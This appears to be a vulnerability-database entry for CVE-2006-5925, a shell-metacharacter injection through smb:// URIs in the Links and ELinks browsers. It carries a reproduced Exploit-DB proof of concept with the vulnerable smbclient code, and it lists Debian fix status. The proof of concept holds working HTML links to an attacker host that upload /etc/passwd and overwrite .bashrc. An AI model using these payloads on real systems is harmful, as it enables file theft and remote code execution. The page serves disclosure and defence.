CVE-2006-5925
Description
Links web browser 1.00pre12 and Elinks 0.9.2 with smbclient installed allows remote attackers to execute arbitrary code via shell metacharacters in an smb:// URI, as demonstrated by using PUT and GET statements.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Links 1.00pre12 - 'smbclient' Remote Code Execution
<!--
Links smbclient command execution
-----------------------------------------------------------------------------
There is a flaw in the Links web browser, that allows malicious web sites to
execute smbclient commands on the victim's machine. This flaw makes it
possible to read any file from the victim system (any file that the user
running links has read access), or to upload any file to the victim system
(any file that the user running links can create/overwrite). The attacker
could, for example, upload ~/.bashrc to gain shell access.
Version numbers:
-----------------------------------------------------------------------------
I tested this on Ubuntu 6.06 LTS and Links 1.00pre12. Smbclient must also
be installed.
Vulnerable code:
-----------------------------------------------------------------------------
smb_func() in smb.c:
...
143 if (*share) {
144 if (!*dir || dir[strlen(dir) - 1] == '/'
|| dir[strlen(dir) - 1] == '\\') {
145 if (dir) {
146 v[n++] = "-D";
147 v[n++] = dir;
148 }
149 v[n++] = "-c";
150 v[n++] = "ls";
151 } else {
152 unsigned char *ss;
153 unsigned char *s = stracpy("get
\"");
'dir' is the directory part of the smb://.. url:
154 add_to_strn(&s, dir);
155 add_to_strn(&s, "\" -");
156 while ((ss = strchr(s, '/')))
*ss = '\\';
157 v[n++] = "-c";
158 v[n++] = s;
159 }
160 }
161 v[n++] = NULL;
smbclient is executed:
162 execvp("smbclient", (char **)v);
163 fprintf(stderr, "smbclient not found in $PATH");
164 _exit(1);
...
-->
<html>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit; '>Put /etc/passwd</a>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a>
</html>
# milw0rm.com [2006-11-14]
Links_ ELinks 'smbclient' - Remote Command Execution
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.11.1-1.2 |
| sid | Fixed | 0.11.1-1.2 |
| forky | Fixed | 0.11.1-1.2 |
| bullseye | Fixed | 0.11.1-1.2 |
| bookworm | Fixed | 0.11.1-1.2 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.